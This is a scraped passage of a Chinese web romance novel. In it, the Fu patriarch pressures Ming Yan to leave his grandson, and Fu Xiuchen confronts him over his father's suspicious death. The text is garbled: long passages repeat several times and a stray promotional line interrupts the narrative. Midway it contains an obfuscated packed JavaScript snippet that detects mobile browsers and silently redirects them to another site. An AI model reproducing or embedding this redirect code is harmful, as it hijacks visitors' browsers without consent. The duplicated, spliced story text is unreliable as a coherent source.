第二天,返程的车上。 气氛压抑得能拧出水来。 明燃坐在后座,闭目养神,侧脸线条冷硬。 唐微微坐在副驾驶,尽量缩小自己的存在感。 眼睛还有些肿,她低着头,看着自己放在膝盖上的手,左手包裹着厚厚的纱布,右手则紧紧攥着口袋里的那张卡。 车厢里只有引擎低沉的轰鸣。 许久,她像是下定了决心,声音很轻,却清晰地打破了沉寂:“明总……那笔钱,我会还给您的。” 明燃缓缓睁开眼,透过后视镜,能看到她低垂的头顶和紧绷的侧脸。 他扯了扯嘴角,刚想说什么—— 一阵突兀的手机铃声打断了他。 他蹙眉,拿出手机,看到来电显示,脸色微凝。 “说。” 电话那头不知道说了什么,明燃的脸色以肉眼可见的速度沉了下去,眼神骤然变得锐利。 “傅家资金断裂?”他声音压得很低,带着一丝难以置信的冷沉,“消息确定吗?” …… 而此时的明嫣也得到了傅家切断资金链的消息,她正准备给大哥明燃打个电话,问问公司的情况。 可刚拿出手机,就听见外面客厅传来细微的动静。 她心头一动,以为是傅修沉回来了。 她推开卧室门走出去,“你怎么这么早就回……” 话音戛然而止。 客厅沙发上,傅老爷子端坐着,双手交叠放在拐杖上,神色平静,却自带一股不怒自威的气场。 福伯和两名穿着黑色西装的保镖安静地站在他身后。 明嫣脸上的笑容瞬间僵住,脚步也顿在了原地。 傅老爷子抬了抬手,福伯和两名保镖立刻会意,无声地退了出去,并轻轻带上了公寓门。 偌大的客厅,只剩下他们两人。 空气瞬间变得凝滞。 明嫣看着傅老爷子,心脏一点点沉下去。 傅老爷子目光平静地看向她,开门见山,声音不高,却带着沉甸甸的压力:“嫣丫头,你应该知道我为什么来。” 明嫣抿紧了唇,没说话,只是眸色冷了些。 “明氏那边,资金链出问题了吧?”他语气没什么起伏,“这只是个警告。” 他顿了顿,目光锐利如鹰隼,紧紧锁住她,“如果你还是不听劝告,执意要跟修沉在一起……” 后面的话他没说完,但威胁的意味不言而喻。 明嫣只觉得一股寒意从心底窜起,瞬间蔓延至四肢百骸…… 唐微微看着那张卡,像是看着什么烫手的东西,没有立刻去接。 “不要?”明燃作势要收回。 她几乎是抢一般地将卡抓了过来,冰凉的卡片硌在掌心,带来尖锐的刺痛。 “滚吧。”他转过身,不再看她,声音里带着彻底的厌倦。 唐微微攥紧了那张卡,指甲几乎要将其折断。 她深深地看了他一眼,他挺拔的背影在昏黄光线下显得格外冷漠。 她拉拢睡裙,手指颤抖地系上扣子,然后像逃离什么瘟疫一样,快步冲回了自己的房间。 门关上的瞬间,她背靠着门板滑坐在地,压抑的哭声终于破碎地溢了出来。 手里那张卡,像烧红的烙铁,烫得她灵魂都在颤抖。 …… 第二天,返程的车上。 气氛压抑得能拧出水来。 明燃坐在后座,闭目养神,侧脸线条冷硬。 唐微微坐在副驾驶,尽量缩小自己的存在感。 眼睛还有些肿,她低着头,看着自己放在膝盖上的手,左手包裹着厚厚的纱布,右手则紧紧攥着口袋里的那张卡。 车厢里只有引擎低沉的轰鸣。 许久,她像是下定了决心,声音很轻,却清晰地打破了沉寂:“明总……那笔钱,我会还给您的。” 明燃缓缓睁开眼,透过后视镜,能看到她低垂的头顶和紧绷的侧脸。 他扯了扯嘴角,刚想说什么—— 一阵突兀的手机铃声打断了他。 他蹙眉,拿出手机,看到来电显示,脸色微凝。 “说。” 电话那头不知道说了什么,明燃的脸色以肉眼可见的速度沉了下去,眼神骤然变得锐利。 “傅家资金断裂?”他声音压得很低,带着一丝难以置信的冷沉,“消息确定吗?” …… 而此时的明嫣也得到了傅家切断资金链的消息,她正准备给大哥明燃打个电话,问问公司的情况。 可刚拿出手机,就听见外面客厅传来细微的动静。 她心头一动,以为是傅修沉回来了。 她推开卧室门走出去,“你怎么这么早就回……” 话音戛然而止。 客厅沙发上,傅老爷子端坐着,双手交叠放在拐杖上,神色平静,却自带一股不怒自威的气场。 福伯和两名穿着黑色西装的保镖安静地站在他身后。 明嫣脸上的笑容瞬间僵住,脚步也顿在了原地。 傅老爷子抬了抬手,福伯和两名保镖立刻会意,无声地退了出去,并轻轻带上了公寓门。 偌大的客厅,只剩下他们两人。 空气瞬间变得凝滞。 明嫣看着傅老爷子,心脏一点点沉下去。 傅老爷子目光平静地看向她,开门见山,声音不高,却带着沉甸甸的压力:“嫣丫头,你应该知道我为什么来。” 明嫣抿紧了唇,没说话,只是眸色冷了些。 “明氏那边,资金链出问题了吧?”他语气没什么起伏,“这只是个警告。” 他顿了顿,目光锐利如鹰隼,紧紧锁住她,“如果你还是不听劝告,执意要跟修沉在一起……” 后面的话他没说完,但威胁的意味不言而喻。 明嫣只觉得一股寒意从心底窜起,瞬间蔓延至四肢百骸…… 第200章 傅家未来的女主人(二合一大章) 明嫣站在原地,指尖冰凉。 她看着沙发上不怒自威的老人,心脏一点点沉下去。 “老爷子,”她开口,声音出乎意料的平稳,“您这么做,真的是为了傅修沉好吗?” 傅老爷子眉头几不可察地蹙了一下,没说话。 明嫣往前走了一步,清凌凌的眼睛直视着他:“您口口声声为了傅家,为了他们兄弟不起龃龉。可您有没有问过傅修沉,他想要什么?” “他是我傅家的继承人!他想要什么不重要,重要的是他该承担什么!”傅老爷子声音沉了下去,带着不容置疑的权威。 “承担?”明嫣扯了扯嘴角,“承担您所谓的家族稳定,就要牺牲掉他自己的感情?傅家的家业,难道比他的幸福还重要?” “当然!”傅老爷子毫不犹豫,斩钉截铁,浑浊的眼珠里是几十年沉淀下来的冷酷,“傅家百年基业,比任何个人的儿女情长都重要!为了傅家,别说幸福,就是命,该豁出去的时候也得豁出去!” “幸福那是小孩子才追求的东西。坐在他这个位置,要的是权力,是掌控,是让傅家屹立不倒!至于女人……” 他扯了扯嘴角,“只要他站在顶端,什么样的女人得不到?” 明嫣看着他,看着这个曾经慈祥的老人此刻脸上毫不掩饰的冷漠和决绝,心底最后那点微弱的期望也彻底熄灭了。 她忽然觉得有点可笑。 为自己曾经那点可笑的孺慕之情。 “我明白了。”她轻轻说。 原来,在这些人眼里,感情是如此廉价,可以随时衡量,随时牺牲。 为了所谓的家族,就能理直气壮地碾碎别人的真心吗? 傅老爷子将她的反应尽收眼底,以为她终于屈服,语气缓和了些,“嫣丫头,你是个聪明孩子。离开修沉,对大家都好。只要你点头,傅家不会亏待你。你父亲那边,最好的医疗资源我会继续提供。明氏,傅家也可以适当帮扶。” 他顿了顿,抛出一个极具诱惑力的条件:“另外,我会给你一笔钱,足够你和你哥哥,甚至你们明家往后几辈子,都衣食无忧。” 明嫣垂着眼,没说话。 钱。 资源。 多么实在的东西。 足以压垮很多看似坚固的感情。 她不想离开傅修沉。 一点都不想。 可明家呢? 爸爸还躺在医院,哥哥独自支撑着摇摇欲坠的公司…… 难道真 的要眼睁睁看着他们因为自己再次陷入绝境? 指甲深深掐进掌心,带来尖锐的疼痛。 傅老爷子看着她低垂的脖颈,他等了片刻,不见她回应,眼底最后一点耐心耗尽。 敬酒不吃,那就只能…… 就在他眼神彻底冷下来的瞬间—— “砰!!” 公寓大门方向,突然传来一声沉重的闷响,伴随着短促而凄厉的惨叫! 紧接着,是重物倒地的声音! 客厅里的两人俱是一惊! 傅老爷子猛地转头看向门口,脸色骤变。 明嫣也下意识地望过去,心脏莫名一紧。 下一秒,公寓那扇厚重的实木门被人从外面猛地一脚踹开! “轰——!” 门板撞在墙上,发出震耳欲聋的巨响! 一道挺拔冷戾的身影,挟着外面凛冽的寒风和骇人的煞气迈了进来! 是傅修沉! 他显然来得极急,甚至连大衣都没穿,只着一件黑色的衬衫,领口微敞,露出线条冷硬的锁骨。 衬衫袖子随意挽到手肘,小臂线条紧实,此刻却绷出了凌厉的弧度。 他脸色阴沉得能滴出水来,眼底翻涌着骇人的猩红,周身散发出的冰冷气息,瞬间将客厅里原本凝滞的空气冻结! 他的目光如同淬了毒的利刃,先是极快地扫过明嫣,确认她完好无损地站在那里,那紧绷到极致的下颚线才几不可察地松了一瞬。 随即,那冰冷刺骨的视线,便死死钉在了傅老爷子身上! 四目相对。 空气仿佛在这一刻凝固,被无形的力量压缩,几乎要迸出冰碴。 “傅修沉!”傅老爷子握着拐杖的手猛地收紧,手背上青筋暴起,声音因为惊怒而拔高,“你这是什么意思?!**吗?!” 傅修沉扯了扯嘴角,那弧度冰冷至极,带着毫不掩饰的讥诮。 “**?”他重复着这两个字,声音低沉沙哑,像是裹挟着冰碴,“我在我自己家里,教训几条不长眼,敢拦我路的狗,算哪门子的**?” 他目光扫过地上蜷缩的保镖,眼神里的戾气毫不收敛。 傅老爷子被他这态度气得胸口剧烈起伏,指着他:“你……你这个混账东西!为了个女人,你连基本的礼数都不要了?!你看看你现在像个什么样子!” “礼数?”傅修沉像是听到了什么天大的笑话,眼底的猩红更重,“您带着人,趁我不在,闯进我的地方,威胁我的女人,这就是 您所谓的礼数?” 他往前逼近一步,身高带来的压迫感让傅老爷子下意识地后退了半步。 “老爷子,”傅修沉盯着他,一字一顿,每个字都砸在人心上,“我是不是太久没发脾气,让您忘了,我傅修沉的人,动不得?” 傅老爷子被他眼底那毫不掩饰的疯狂和狠戾慑住,心头竟掠过一丝寒意。 但他毕竟是掌权多年的上位者,很快便强自镇定下来,恼羞成怒地吼道:“放肆!我是你爷爷!我还不是为了你好!为了傅家好!你看看你被她迷成什么样子了!兄弟阋墙的祸水,留不得!” “为我好?”傅修沉嗤笑出声,那笑声里充满了冰冷的嘲讽和失望,“用断明家资金链的方式?用拿她父亲性命威胁的方式?爷爷,您这套‘为我好’,我承受不起!” 他顿了顿,目光锐利如刀,直直刺向傅老爷子: “至于兄弟阋墙?您是不是搞错了什么?从头到尾,心思不正、觊觎兄长女人的,是陆凛!该被管教、该被警告的,也是他!您不去管束他,反倒来逼迫我的女人?这是什么道理?!” “还是说,”他话锋一转,语气变得极其危险,“在您心里,我这个名正言顺的继承人,还不如一个外姓的孙子重要?所以可以随意牺牲我的感情,来迁就他?” 这话太过尖锐,直接戳破了那层遮羞布。 傅老爷子脸色一阵青一阵白,呼吸急促,指着傅修沉的手指都在发抖:“你……你胡说八道!陆凛他也是傅家的血脉!我这是为了傅家大局着想!绝不能因为一个女人,让你们兄弟反目!” “大局?”傅修沉眼神彻底冷了下去,那里面再无半分温度,只剩下全然的冰冷和决绝,“您的大局,就是牺牲我?” 他猛地抬手,指向门口,声音斩钉截铁,带着不容置疑的力量: “今天我把话放在这里——明嫣,我要定了!谁也别想动她,谁也别想把她从我身边赶走!” 他盯着傅老爷子,一字一句,如同宣誓: “您同意,她是傅家未来的女主人。” “您不同意——” 他顿了顿,唇角勾起一抹冰冷而狂妄的弧度, “她依然会是傅家未来的女主人!” “你……你……”傅老爷子被他这番大逆不道的话气得眼前发黑,浑身颤抖,几乎站立不稳。 他赖以掌控一切的权威,在傅修沉毫不妥协的强硬面前,彻底失去了作用。 他死死盯着傅修沉,像是第一次真正认识这个孙 子。 那双眼睛里,没有了往日的克制和收敛,只剩下全然不顾一切的锐利。 为了明嫣,他竟敢如此! 傅老爷子胸口剧烈起伏,猛地举起手中的拐杖,指着傅修沉,声音因为极致的愤怒而嘶哑变形: “傅修沉!你是不是以为傅家没了你就不行了?!你是不是以为这继承人的位置,非你不可?!” 他喘着粗气,抛出了最后的**锏,带着鱼死网破的狠绝: “我告诉你!如果你执意要跟这个女人在一起,执意要违逆我!那我就收回你傅氏集团总裁的位置!收回你傅家继承人的资格!我看你没了傅家,还拿什么嚣张!拿什么护着她!” 空气,在这一刻彻底凝固。 收回继承权! 这对于任何豪门子弟而言,都是最致命的一击。 福伯站在不远处,闻言脸色瞬间煞白,下意识地上前一步,想要劝阻:“老爷子……” 却被傅老爷子一个凌厉的眼神瞪了回去。 所有人的目光都聚焦在傅修沉身上。 明嫣在他身后,心脏猛地揪紧,下意识地抓住了他衬衫的衣角。 她可以不在乎自己受委屈,可以为了明家考虑妥协,但她不能眼睁睁看着傅修沉因为她,失去他本该拥有的一切! 那是他付出了无数心血才掌控的傅氏帝国! 然而,傅修沉站在那里,身形挺拔如松,甚至连眼神都没有丝毫波动。 他只是极轻地扯了扯嘴角,那笑容里带着浓烈的讥诮和不屑。 “呵……” “不给我?”他抬眸,迎上傅老爷子惊怒交加的目光,语气平静得可怕,却字字千钧: “那我就自己去拿。” 傅老爷子瞳孔骤然收缩,难以置信地瞪着他:“你……你说什么?!” 傅修沉往前一步,逼近他,两人之间的距离近得能感受到彼此呼吸的碰撞。 他微微俯身,那双深邃的眼眸里,此刻翻涌着骇人的黑色漩涡,里面是毫不掩饰的野心和冰冷的戾气。 “我说,”他一字一顿,声音清晰地响彻在死寂的客厅里,“傅家的一切,您给,我要。您不给——” 他顿了顿,唇角那抹冰冷的弧度加深, “我就自己动手,拿过来。” “混账!!!”傅老爷子彻底被激怒,理智瞬间崩塌,扬起手中的拐杖就朝着傅修沉劈头盖脸地打过去! “傅家怎么养出你这个忤逆不孝的东西!” 傅 修沉不闪不避,只是在那沉重的紫檀木拐杖即将落在他肩头的瞬间,猛地抬手,一把牢牢攥住了杖身! 力道之大,让拐杖再也无法下落分毫! 傅老爷子被他手上传来的力道震得手臂发麻,又惊又怒:“你……你敢还手?!” 傅修沉死死攥着拐杖,手背上青筋暴起,他看着眼前因暴怒而面目扭曲的老人,眼神冰冷得像是在看一个陌生人。 “我爸倒是一直听话,”他开口,声音低沉沙哑,“他不是混账,可他死得不明不白!” 傅老爷子脸上的血色在瞬间褪得干干净净! 那双浑浊却锐利的眼睛猛地瞪大,瞳孔因为极致的惊骇而收缩,握着拐杖的另一只手不受控制地剧烈颤抖起来。 “你……你胡说八道什么?!”他声音嘶哑破碎,带着难以置信的恐慌,“你父亲他是……是意外!” “意外?”傅修沉猛地甩开拐杖,傅老爷子踉跄着后退一步,被他眼中那毫不掩饰的恨意和洞悉一切的目光逼得心胆俱裂。 傅修沉往前逼近一步,周身散发出的冰冷戾气几乎要将空气冻结。 他盯着傅老爷子瞬间惨白的脸,唇角勾起一抹冰冷至极的弧度。 “他到底是**的,”他一字一顿,声音不大,却像重锤狠狠砸在傅老爷子的心脏上! “您应该,比谁都清楚。” “轰——!” 傅老爷子像是被一道惊雷直直劈中天灵盖,整个人僵在原地,脸上的肌肉僵硬地抽搐着,眼神涣散,仿佛一瞬间被抽走了所有精气神。 他张着嘴,喉咙里发出“嗬嗬”的怪响,却一个字也说不出来。 那掩埋了多年,自以为天衣无缝的秘密,在这一刻,被自己的亲孙子以这样一种方式,赤裸裸地撕开! 祖孙二人,隔着几步的距离,无声对峙。 一个面色惨白,惊惶失措; 一个眼神冰冷,恨意凛然。 空气死寂。 只剩下傅老爷子粗重混乱的喘息声。 不知过了多久,傅老爷子像是终于缓过一口气,他死死瞪着傅修沉,眼神复杂到了极点,有震惊,有恐惧,有愤怒,还有一丝极深的,连他自己都不愿承认的狼狈。 他猛地甩袖,几乎是落荒而逃,脚步踉跄地冲向门口,再也没看傅修沉和明嫣一眼。 福伯挣扎着从地上爬起来,慌忙跟上,在离开前,回头看了一眼站在客厅中央,身姿挺拔如利刃出鞘的傅修沉,眼底充满了浓浓的忧虑和不安。 公寓门被重重关上。 隔绝了外面的一切。 客厅里,只剩下傅修沉和明嫣。 空气中还弥漫着那场激烈对峙留下的冰冷气息。 明嫣看着傅修沉依旧紧绷的侧脸,和他眼底那未散的骇人戾气,心脏一阵阵发紧。 她刚才听到的那些话…… 傅修沉父亲的死…… 不是意外? 修沉不闪不避,只是在那沉重的紫檀木拐杖即将落在他肩头的瞬间,猛地抬手,一把牢牢攥住了杖身! 力道之大,让拐杖再也无法下落分毫! 傅老爷子被他手上传来的力道震得手臂发麻,又惊又怒:“你……你敢还手?!” 傅修沉死死攥着拐杖,手背上青筋暴起,他看着眼前因暴怒而面目扭曲的老人,眼神冰冷得像是在看一个陌生人。 “我爸倒是一直听话,”他开口,声音低沉沙哑,“他不是混账,可他死得不明不白!” 傅老爷子脸上的血色在瞬间褪得干干净净! 那双浑浊却锐利的眼睛猛地瞪大,瞳孔因为极致的惊骇而收缩,握着拐杖的另一只手不受控制地剧烈颤抖起来。 “你……你胡说八道什么?!”他声音嘶哑破碎,带着难以置信的恐慌,“你父亲他是……是意外!” “意外?”傅修沉猛地甩开拐杖,傅老爷子踉跄着后退一步,被他眼中那毫不掩饰的恨意和洞悉一切的目光逼得心胆俱裂。 傅修沉往前逼近一步,周身散发出的冰冷戾气几乎要将空气冻结。 他盯着傅老爷子瞬间惨白的脸,唇角勾起一抹冰冷至极的弧度。 “他到底是**的,”他一字一顿,声音不大,却像重锤狠狠砸在傅老爷子的心脏上! “您应该,比谁都清楚。” “轰——!” 傅老爷子像是被一道惊雷直直劈中天灵盖,整个人僵在原地,脸上的肌肉僵硬地抽搐着,眼神涣散,仿佛一瞬间被抽走了所有精气神。 他张着嘴,喉咙里发出“嗬嗬”的怪响,却一个字也说不出来。 那掩埋了多年,自以为天衣无缝的秘密,在这一刻,被自己的亲孙子以这样一种方式,赤裸裸地撕开! 祖孙二人,隔着几步的距离,无声对峙。 一个面色惨白,惊惶失措; 一个眼神冰冷,恨意凛然。 空气死寂。 只剩下傅老爷子粗重混乱的喘息声。 不知过了多久,傅老爷子像是终于缓过一口气,他死死瞪着傅修沉,眼神复杂到了极点,有震惊,有恐惧,有愤怒,还有一丝极深的,连他自己都不愿承认的狼狈。 他猛地甩袖,几乎是落荒而逃,脚步踉跄地冲向门口,再也没看傅修沉和明嫣一眼。 福伯挣扎着从地上爬起来,慌忙跟上,在离开前,回头看了一眼站在客厅中央,身姿挺拔如利刃出鞘的傅修沉,眼底充满了浓浓的忧虑和不安。 公寓门被重重关上。 隔绝了外面的一切。 客厅里,只剩下傅修沉和明嫣。 空气中还弥漫着那场激烈对峙留下的冰冷气息。 明嫣看着傅修沉依旧紧绷的侧脸,和他眼底那未散的骇人戾气,心脏一阵阵发紧。 她刚才听到的那些话…… 傅修沉父亲的死…… 不是意外? 修沉不闪不避,只是在那沉重的紫檀木拐杖即将落在他肩头的瞬间,猛地抬手,一把牢牢攥住了杖身! 力道之大,让拐杖再也无法下落分毫! 傅老爷子被他手上传来的力道震得手臂发麻,又惊又怒:“你……你敢还手?!” 傅修沉死死攥着拐杖,手背上青筋暴起,他看着眼前因暴怒而面目扭曲的老人,眼神冰冷得像是在看一个陌生人。 “我爸倒是一直听话,”他开口,声音低沉沙哑,“他不是混账,可他死得不明不白!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802438|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 傅老爷子脸上的血色在瞬间褪得干干净净! 那双浑浊却锐利的眼睛猛地瞪大,瞳孔因为极致的惊骇而收缩,握着拐杖的另一只手不受控制地剧烈颤抖起来。 “你……你胡说八道什么?!”他声音嘶哑破碎,带着难以置信的恐慌,“你父亲他是……是意外!” “意外?”傅修沉猛地甩开拐杖,傅老爷子踉跄着后退一步,被他眼中那毫不掩饰的恨意和洞悉一切的目光逼得心胆俱裂。 傅修沉往前逼近一步,周身散发出的冰冷戾气几乎要将空气冻结。 他盯着傅老爷子瞬间惨白的脸,唇角勾起一抹冰冷至极的弧度。 “他到底是**的,”他一字一顿,声音不大,却像重锤狠狠砸在傅老爷子的心脏上! “您应该,比谁都清楚。” “轰——!” 傅老爷子像是被一道惊雷直直劈中天灵盖,整个人僵在原地,脸上的肌肉僵硬地抽搐着,眼神涣散,仿佛一瞬间被抽走了所有精气神。 他张着嘴,喉咙里发出“嗬嗬”的怪响,却一个字也说不出来。 那掩埋了多年,自以为天衣无缝的秘密,在这一刻,被自己的亲孙子以这样一种方式,赤裸裸地撕开! 祖孙二人,隔着几步的距离,无声对峙。 一个面色惨白,惊惶失措; 一个眼神冰冷,恨意凛然。 空气死寂。 只剩下傅老爷子粗重混乱的喘息声。 不知过了多久,傅老爷子像是终于缓过一口气,他死死瞪着傅修沉,眼神复杂到了极点,有震惊,有恐惧,有愤怒,还有一丝极深的,连他自己都不愿承认的狼狈。 他猛地甩袖,几乎是落荒而逃,脚步踉跄地冲向门口,再也没看傅修沉和明嫣一眼。 福伯挣扎着从地上爬起来,慌忙跟上,在离开前,回头看了一眼站在客厅中央,身姿挺拔如利刃出鞘的傅修沉,眼底充满了浓浓的忧虑和不安。 公寓门被重重关上。 隔绝了外面的一切。 客厅里,只剩下傅修沉和明嫣。 空气中还弥漫着那场激烈对峙留下的冰冷气息。 明嫣看着傅修沉依旧紧绷的侧脸,和他眼底那未散的骇人戾气,心脏一阵阵发紧。 她刚才听到的那些话…… 傅修沉父亲的死…… 不是意外? 修沉不闪不避,只是在那沉重的紫檀木拐杖即将落在他肩头的瞬间,猛地抬手,一把牢牢攥住了杖身! 力道之大,让拐杖再也无法下落分毫! 傅老爷子被他手上传来的力道震得手臂发麻,又惊又怒:“你……你敢还手?!” 傅修沉死死攥着拐杖,手背上青筋暴起,他看着眼前因暴怒而面目扭曲的老人,眼神冰冷得像是在看一个陌生人。 “我爸倒是一直听话,”他开口,声音低沉沙哑,“他不是混账,可他死得不明不白!” 傅老爷子脸上的血色在瞬间褪得干干净净! 那双浑浊却锐利的眼睛猛地瞪大,瞳孔因为极致的惊骇而收缩,握着拐杖的另一只手不受控制地剧烈颤抖起来。 “你……你胡说八道什么?!”他声音嘶哑破碎,带着难以置信的恐慌,“你父亲他是……是意外!” “意外?”傅修沉猛地甩开拐杖,傅老爷子踉跄着后退一步,被他眼中那毫不掩饰的恨意和洞悉一切的目光逼得心胆俱裂。 傅修沉往前逼近一步,周身散发出的冰冷戾气几乎要将空气冻结。 他盯着傅老爷子瞬间惨白的脸,唇角勾起一抹冰冷至极的弧度。 “他到底是**的,”他一字一顿,声音不大,却像重锤狠狠砸在傅老爷子的心脏上! “您应该,比谁都清楚。” “轰——!” 傅老爷子像是被一道惊雷直直劈中天灵盖,整个人僵在原地,脸上的肌肉僵硬地抽搐着,眼神涣散,仿佛一瞬间被抽走了所有精气神。 他张着嘴,喉咙里发出“嗬嗬”的怪响,却一个字也说不出来。 那掩埋了多年,自以为天衣无缝的秘密,在这一刻,被自己的亲孙子以这样一种方式,赤裸裸地撕开! 祖孙二人,隔着几步的距离,无声对峙。 一个面色惨白,惊惶失措; 一个眼神冰冷,恨意凛然。 空气死寂。 只剩下傅老爷子粗重混乱的喘息声。 不知过了多久,傅老爷子像是终于缓过一口气,他死死瞪着傅修沉,眼神复杂到了极点,有震惊,有恐惧,有愤怒,还有一丝极深的,连他自己都不愿承认的狼狈。 他猛地甩袖,几乎是落荒而逃,脚步踉跄地冲向门口,再也没看傅修沉和明嫣一眼。 福伯挣扎着从地上爬起来,慌忙跟上,在离开前,回头看了一眼站在客厅中央,身姿挺拔如利刃出鞘的傅修沉,眼底充满了浓浓的忧虑和不安。 公寓门被重重关上。 隔绝了外面的一切。 客厅里,只剩下傅修沉和明嫣。 空气中还弥漫着那场激烈对峙留下的冰冷气息。 明嫣看着傅修沉依旧紧绷的侧脸,和他眼底那未散的骇人戾气,心脏一阵阵发紧。 她刚才听到的那些话…… 傅修沉父亲的死…… 不是意外? 修沉不闪不避,只是在那沉重的紫檀木拐杖即将落在他肩头的瞬间,猛地抬手,一把牢牢攥住了杖身! 力道之大,让拐杖再也无法下落分毫! 傅老爷子被他手上传来的力道震得手臂发麻,又惊又怒:“你……你敢还手?!” 傅修沉死死攥着拐杖,手背上青筋暴起,他看着眼前因暴怒而面目扭曲的老人,眼神冰冷得像是在看一个陌生人。 “我爸倒是一直听话,”他开口,声音低沉沙哑,“他不是混账,可他死得不明不白!” 傅老爷子脸上的血色在瞬间褪得干干净净! 那双浑浊却锐利的眼睛猛地瞪大,瞳孔因为极致的惊骇而收缩,握着拐杖的另一只手不受控制地剧烈颤抖起来。 “你……你胡说八道什么?!”他声音嘶哑破碎,带着难以置信的恐慌,“你父亲他是……是意外!” “意外?”傅修沉猛地甩开拐杖,傅老爷子踉跄着后退一步,被他眼中那毫不掩饰的恨意和洞悉一切的目光逼得心胆俱裂。 傅修沉往前逼近一步,周身散发出的冰冷戾气几乎要将空气冻结。 他盯着傅老爷子瞬间惨白的脸,唇角勾起一抹冰冷至极的弧度。 “他到底是**的,”他一字一顿,声音不大,却像重锤狠狠砸在傅老爷子的心脏上! “您应该,比谁都清楚。” “轰——!” 傅老爷子像是被一道惊雷直直劈中天灵盖,整个人僵在原地,脸上的肌肉僵硬地抽搐着,眼神涣散,仿佛一瞬间被抽走了所有精气神。 他张着嘴,喉咙里发出“嗬嗬”的怪响,却一个字也说不出来。 那掩埋了多年,自以为天衣无缝的秘密,在这一刻,被自己的亲孙子以这样一种方式,赤裸裸地撕开! 祖孙二人,隔着几步的距离,无声对峙。 一个面色惨白,惊惶失措; 一个眼神冰冷,恨意凛然。 空气死寂。 只剩下傅老爷子粗重混乱的喘息声。 不知过了多久,傅老爷子像是终于缓过一口气,他死死瞪着傅修沉,眼神复杂到了极点,有震惊,有恐惧,有愤怒,还有一丝极深的,连他自己都不愿承认的狼狈。 他猛地甩袖,几乎是落荒而逃,脚步踉跄地冲向门口,再也没看傅修沉和明嫣一眼。 福伯挣扎着从地上爬起来,慌忙跟上,在离开前,回头看了一眼站在客厅中央,身姿挺拔如利刃出鞘的傅修沉,眼底充满了浓浓的忧虑和不安。 公寓门被重重关上。 隔绝了外面的一切。 客厅里,只剩下傅修沉和明嫣。 空气中还弥漫着那场激烈对峙留下的冰冷气息。 明嫣看着傅修沉依旧紧绷的侧脸,和他眼底那未散的骇人戾气,心脏一阵阵发紧。 她刚才听到的那些话…… 傅修沉父亲的死…… 不是意外? 第201章 当年真相(二合一大章) 而此时,疾驰的劳斯莱斯后座。 傅老爷子倚靠在椅背上,他胸口剧烈地起伏着,握着拐杖的手依旧在不受控制地微微颤抖,手背上松弛的皮肤下,血管狰狞地凸起。 福伯坐在副驾驶,透过后视镜,担忧地看着后座的傅老爷子,嘴唇翕动了几下,最终却什么也没敢问。 不知过了多久,傅老爷子缓缓睁开眼。 那双曾经锐利矍铄的眸子,此刻只剩下浑浊的疲惫。 他望着车窗外飞速**的模糊街景,眼神空洞,没有焦点。 “阿福……”他开口,声音干涩沙哑,像破旧的风箱。 福伯立刻应声:“老爷子,您说。” 傅老爷子重重地叹了一口气,“那小子……” 他顿了顿,每个字都像是从喉咙里艰难地挤出来,“他开始怀疑了。” 福伯心头猛地一沉,手指下意识收紧。 他虽然不知道具体内情,但跟在老爷子身边几十年,有些事,隐隐约约能猜到几分。 老爷子的反应,无疑印证了最坏的那种可能。 “老爷子,或许……或许孙少爷他只是……”福伯试图宽慰,却发现自己词穷。 那种尖锐的质问,怎么可能是无的放矢? 傅老爷子摆了摆手,打断了他的安慰。 他闭上眼,靠在椅背上,脸上是掩饰不住的颓败。 “这件事……”他声音很低,“到底还是没有瞒住。” 福伯屏住呼吸,不敢接话。 车厢内再次陷入死寂。 …… 而此时的公寓客厅里,刚才那场对峙留下的寒意还凝在空气里,明嫣站在原地,指尖发凉。 她看着傅修沉的背影。 他背对着她,肩胛骨的线条在黑色衬衫下绷得很紧,像一张拉到极致的弓。 他没说话。 整个空间只剩下两人细微的呼吸声,交错着,有些沉。 明嫣喉咙发干,想说什么,又觉得说什么都轻。 刚才那些话,像刀子,劈开了傅家最体面也最不堪的遮羞布。 傅修沉父亲的死…… 她不敢深想。 就在她思绪混乱时,傅修沉转过身。 他脸上的戾气已经敛去大半,只是眼底还沉着未散的墨色,深得望不见底。 “吓到了?”他开口,声音有点哑。 明嫣摇头,“没有。” 她只是……心疼。 为他自己扛着 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 这些,还要在她面前装作若无其事。 傅修沉抬手,指腹蹭过她微凉的脸颊,动作很轻。 “明氏的事,不用担心。”他语气平缓,带着一种让人安心的力量,“资金链不会断,我会处理好。” 明嫣抬眼看他,抿了抿唇,“你怎么知道老爷子今天会来找我?” 他低笑,刮了下她的鼻尖,“你老公什么不知道?” 明嫣脸一热,被他这突如其来的亲昵弄得耳根发烫,心里那点沉重也被冲散了些。 傅修沉看着她泛红的脸,眼神软下来。 他伸手,将她揽进怀里,手臂环住她的腰。 明嫣靠在他胸口,能听见他沉稳有力的心跳。 一下,一下。 敲在她心上。 “你……” 她想问关于他父亲的事,可话到嘴边,又咽了回去。 他没主动说,那就是不到时候。 她不想逼他。 有些伤疤,得等他自己愿意揭开。 “没事了。”他低头,唇贴着她耳廓,声音低得只有她能听见,“以后,不会再有人能逼你做任何事。” …… 明嫣没想到压在自己心头好几天的石头就这样被傅修沉轻而易举地解决。 等去了律所,忙完手头上的工作,她才想起来给大哥明燃打电话。 电话接通,背景音有些嘈杂,似乎还有翻阅纸张的声响。 “哥,”明嫣顿了一下,指甲无意识地刮着手机边缘,“傅家……撤了资金链的事,我……” “放心,已经解决了。”明燃嗓音淡淡地打断她,“傅修沉之前给我打电话了,新的注资协议明早就签,这次比之前的条件更优厚。明氏暂时稳住了,城东项目重启评估,傅氏会派专业团队介入。” 明嫣悬着的心终于落回实处,后背却渗出一层薄汗。 不是后怕,是另一种沉甸甸的东西压了下来。 她沉默了几秒,呼吸在话筒里变得清晰。 “怎么了?”明燃敏锐地察觉到她的异样。 明嫣舔了舔有些发干的嘴唇,声音压得很低:“哥……你知道傅修沉的父亲,当年到底是怎么去世的吗?” 电话那头骤然静了。 